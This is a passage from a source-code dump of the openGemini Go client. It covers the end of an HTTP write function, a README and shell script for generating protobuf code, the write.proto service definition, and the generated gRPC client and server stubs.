make(http.Header) 192 | req.header.Set("Content-Encoding", "gzip") 193 | req.header.Set("Accept-Encoding", "gzip") 194 | } 195 | req.queryValues.Add("db", database) 196 | req.queryValues.Add("rp", rp) 197 | 198 | c.metrics.writeCounter.Add(1) 199 | c.metrics.writeDatabaseCounter.WithLabelValues(database).Add(1) 200 | startAt := time.Now() 201 | 202 | response, err := c.executeHttpRequestWithContext(ctx, http.MethodPost, UrlWrite, req) 203 | 204 | cost := float64(time.Since(startAt).Milliseconds()) 205 | c.metrics.writeLatency.Observe(cost) 206 | c.metrics.writeDatabaseLatency.WithLabelValues(database).Observe(cost) 207 | 208 | return response, err 209 | } 210 | -------------------------------------------------------------------------------- /proto/README.md: -------------------------------------------------------------------------------- 1 | # proto 2 | 3 | This package contains the OpenGemini protocol buffer definitions. 4 | 5 | ## Prerequisites 6 | 7 | 1. Install protoc (Protocol Buffers compiler) 8 | 2. Install protoc plugins for Go: 9 | 10 | ```shell 11 | # Install protoc-gen-go 12 | go install google.golang.org/protobuf/cmd/protoc-gen-go@latest 13 | 14 | # Install protoc-gen-go-grpc 15 | go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@latest 16 | ``` 17 | 18 | ## Usage 19 | 20 | Run the following command in the project root directory to generate Go code: 21 | 22 | ```shell 23 | protoc --go_out=. --go_opt=paths=source_relative \ 24 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \ 25 | proto/*.proto 26 | ``` 27 | 28 | This command will: 29 | - Generate Go code for protobuf messages (*.pb.go) 30 | - Generate Go code for gRPC services (*.pb.grpc.go) 31 | - Files will be generated in their respective directories according to source relative paths 32 | -------------------------------------------------------------------------------- /proto/gen_code.sh: -------------------------------------------------------------------------------- 1 | # Copyright 2024 openGemini Authors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | #!/bin/bash 16 | 17 | # Get the base name of current directory 18 | current_dir=$(basename "$(pwd)") 19 | 20 | # Determine proto files path based on current directory 21 | if [ "$current_dir" = "proto" ]; then 22 | PROTO_FILES="*.proto" 23 | else 24 | PROTO_FILES="proto/*.proto" 25 | fi 26 | 27 | # Use universal path separator to ensure cross-platform compatibility 28 | protoc --go_out=. --go_opt=paths=source_relative \ 29 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \ 30 | $PROTO_FILES 31 | 32 | # Check command execution status 33 | if [ $? -eq 0 ]; then 34 | echo "Proto files generated successfully" 35 | else 36 | echo "Error generating proto files" 37 | exit 1 38 | fi 39 | -------------------------------------------------------------------------------- /proto/write.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | package proto; 3 | option go_package = "./proto"; 4 | 5 | // WriteService represents a openGemini RPC write service. 6 | service WriteService { 7 | // Write writes the given records to the specified database and retention policy. 8 | rpc Write (WriteRequest) returns (WriteResponse) {} 9 | // Ping is used to check if the server is alive 10 | rpc Ping(PingRequest) returns (PingResponse) {} 11 | } 12 | 13 | message WriteRequest { 14 | uint32 version = 1; 15 | string database = 2; 16 | string retention_policy = 3; 17 | string username = 4; 18 | string password = 5; 19 | repeated Record records = 6; 20 | } 21 | 22 | message WriteResponse { 23 | ResponseCode code = 1; 24 | } 25 | 26 | message Record { 27 | string measurement = 1; 28 | int64 min_time = 2; 29 | int64 max_time = 3; 30 | CompressMethod compress_method = 4; 31 | bytes block = 5; 32 | } 33 | 34 | enum CompressMethod { 35 | UNCOMPRESSED = 0; 36 | LZ4_FAST = 1; 37 | ZSTD_FAST = 2; 38 | SNAPPY = 3; 39 | } 40 | 41 | enum ResponseCode { 42 | Success = 0; 43 | Partial = 1; 44 | Failed = 2; 45 | } 46 | 47 | message PingRequest { 48 | string client_id = 1; 49 | } 50 | 51 | enum ServerStatus { 52 | Up = 0; 53 | Down = 1; 54 | Unknown = 99; 55 | } 56 | 57 | message PingResponse { 58 | ServerStatus status = 1; 59 | } 60 | -------------------------------------------------------------------------------- /proto/write_grpc.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go-grpc. DO NOT EDIT. 2 | // versions: 3 | // - protoc-gen-go-grpc v1.5.1 4 | // - protoc v3.19.6 5 | // source: write.proto 6 | 7 | package proto 8 | 9 | import ( 10 | context "context" 11 | grpc "google.golang.org/grpc" 12 | codes "google.golang.org/grpc/codes" 13 | status "google.golang.org/grpc/status" 14 | ) 15 | 16 | // This is a compile-time assertion to ensure that this generated file 17 | // is compatible with the grpc package it is being compiled against. 18 | // Requires gRPC-Go v1.64.0 or later. 19 | const _ = grpc.SupportPackageIsVersion9 20 | 21 | const ( 22 | WriteService_Write_FullMethodName = "/proto.WriteService/Write" 23 | WriteService_Ping_FullMethodName = "/proto.WriteService/Ping" 24 | ) 25 | 26 | // WriteServiceClient is the client API for WriteService service. 27 | // 28 | // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. 29 | // 30 | // WriteService represents a openGemini RPC write service. 31 | type WriteServiceClient interface { 32 | // Write writes the given records to the specified database and retention policy. 33 | Write(ctx context.Context, in *WriteRequest, opts ...grpc.CallOption) (*WriteResponse, error) 34 | // Ping is used to check if the server is alive 35 | Ping(ctx context.Context, in *PingRequest, opts ...grpc.CallOption) (*PingResponse, error) 36 | } 37 | 38 | type writeServiceClient struct { 39 | cc grpc.ClientConnInterface 40 | } 41 | 42 | func NewWriteServiceClient(cc grpc.ClientConnInterface) WriteServiceClient { 43 | return &writeServiceClient{cc} 44 | } 45 | 46 | func (c *writeServiceClient) Write(ctx context.Context, in *WriteRequest, opts ...grpc.CallOption) (*WriteResponse, error) { 47 | cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) 48 | out := new(WriteResponse) 49 | err := c.cc.Invoke(ctx, WriteService_Write_FullMethodName, in, out, cOpts...) 50 | if err != nil { 51 | return nil, err 52 | } 53 | return out, nil 54 | } 55 | 56 | func (c *writeServiceClient) Ping(ctx context.Context, in *PingRequest, opts ...grpc.CallOption) (*PingResponse, error) { 57 | cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) 58 | out := new(PingResponse) 59 | err := c.cc.Invoke(ctx, WriteService_Ping_FullMethodName, in, out, cOpts...) 60 | if err != nil { 61 | return nil, err 62 | } 63 | return out, nil 64 | } 65 | 66 | // WriteServiceServer is the server API for WriteService service. 67 | // All implementations must embed UnimplementedWriteServiceServer 68 | // for forward compatibility. 69 | // 70 | // WriteService represents a openGemini RPC write service. 71 | type WriteServiceServer interface { 72 | // Write writes the given records to the specified database and retention policy. 73 | Write(context.Context, *WriteRequest) (*WriteResponse, error) 74 | // Ping is used to check if the server is alive 75 | Ping(context.Context, *PingRequest) (*PingResponse, error) 76 | mustEmbedUnimplementedWriteServiceServer() 77 | } 78 | 79 | // UnimplementedWriteServiceServer must be embedded to have 80 | // forward compatible implementations. 81 | // 82 | // NOTE: this should be embedded by value instead of pointer to avoid a nil 83 | // pointer dereference when methods are called. 84 | type UnimplementedWriteServiceServer struct{} 85 | 86 | func (UnimplementedWriteServiceServer) Write(context.Context, *WriteRequest) (*WriteResponse, error) { 87 | return nil, status.Errorf(codes.Unimplemented, "method Write not implemented") 88 | } 89 | func (UnimplementedWriteServiceServer) Ping(context.Context, *PingRequest) (*PingResponse, error) { 90 | return nil, status.Errorf(codes.Unimplemented, "method Ping not implemented") 91 | } 92 | func (UnimplementedWriteServiceServer) mustEmbedUnimplementedWriteServiceServer() {} 93 | func (UnimplementedWriteServiceServer) testEmbeddedByValue() {} 94 | 95 | // UnsafeWriteServiceServer may be embedded to opt out of forward compatibility for this service. 96 | // Use of this interface is not recommended, as added methods to WriteServiceServer will 97 | // result in compilation errors. 98 | type UnsafeWriteServiceServer interface { 99 | mustEmbedUnimplementedWriteServiceServer() 100 | } 101 | 102 | func RegisterWriteServiceServer(s grpc.ServiceRegistrar, srv WriteServiceServer) { 103 | // If the following call pancis, it indicates UnimplementedWriteServiceServer was 104 | // embedded by pointer and is nil. This will cause panics if an 105 | // unimplemented method is ever invoked, so we test this at initialization 106 | // time to prevent it from happening at runtime later due to I/O. 107 | if t, ok := srv.(interface{ testEmbeddedByValue() }); ok { 108 | t.testEmbeddedByValue() 109 | } 110 | s.RegisterService(&WriteService_ServiceDesc, srv) 111 | } 112 | 113 | func _WriteService_Write_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { 114 | in := new(WriteRequest) 115 | if err := dec(in); err != nil { 116 | return nil, err 117 | } 118 | if interceptor == nil { 119 | return srv.(WriteServiceServer).Write(ctx, in) 120 | } 121 | info := &grpc.UnaryServerInfo{ 122 | Server: srv, 123 | FullMethod: WriteService_Write_FullMethodName, 124 | } 125 | handler := func(ctx context.Context, req interface{}) (interface{}, error) { 126 | return srv.(WriteServiceServer).Write(ctx, req.(*WriteRequest)) 127 | } 128 | return interceptor(ctx, in, info, handler) 129 | } 130 | 131 | func _WriteService_Ping_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { 132 | in := new(PingRequest) 133 | if err := dec(in); err != nil { 134 | return nil, err 135 | } 136 | if interceptor == nil { 137 | return srv.(WriteServiceServer).Ping(ctx, in) 138 | } 139 | info := &grpc.UnaryServerInfo{ 140 | Server: srv, 141 | FullMethod: WriteService_Ping_FullMethodName, 142 | } 143 | handler := func(ctx context.Context, req interface{}) (interface{}, error) { 144 | return srv.(WriteServiceServer).Ping(ctx, req.(*PingRequest)) 145 | } 146 | return interceptor(ctx, in, info, handler) 147 | } 148 | 149 | // WriteService_ServiceDesc is the grpc.ServiceDesc for WriteService service. 150 | // It's only intended for direct use with grpc.RegisterService, 151 | // and not to be introspected or modified (even as a copy) 152 | var WriteService_ServiceDesc = grpc.ServiceDesc{ 153 | ServiceName: "proto.WriteService", 154 | HandlerType: (*WriteServiceServer)(nil), 155 | Methods: []grpc.MethodDesc{ 156 | { 157 | MethodName: "Write", 158 | Handler: _WriteService_Write_Handler, 159 | }, 160 | { 161 | MethodName: "Ping", 162 | Handler: _WriteService_Ping_Handler, 163 | }, 164 | }, 165 | Streams: []grpc.StreamDesc{}, 166 | Metadata: "write.proto", 167 | } 168 | --------------------------------------------------------------------------------